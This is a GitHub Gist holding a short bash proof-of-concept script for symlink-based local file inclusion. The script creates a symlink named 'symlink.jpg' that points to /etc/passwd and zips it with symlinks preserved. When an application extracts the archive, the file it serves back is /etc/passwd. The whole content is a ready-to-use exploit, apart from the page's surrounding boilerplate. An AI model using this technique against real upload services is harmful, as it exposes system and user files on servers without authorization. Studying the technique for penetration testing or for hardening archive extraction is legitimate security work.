Created
April 17, 2018 14:52
-
-
Save vishwaraj101/96def9119528759670e7bf7d2a6c1a99 to your computer and use it in GitHub Desktop.
symlink local file inclusion poc code
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
echo "symlink.jpg created" | |
ln -s /etc/passwd ./symlink.jpg | |
echo "photos.zip with symlink created" | |
zip --symlinks photos.zip ./symlink.jpg |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment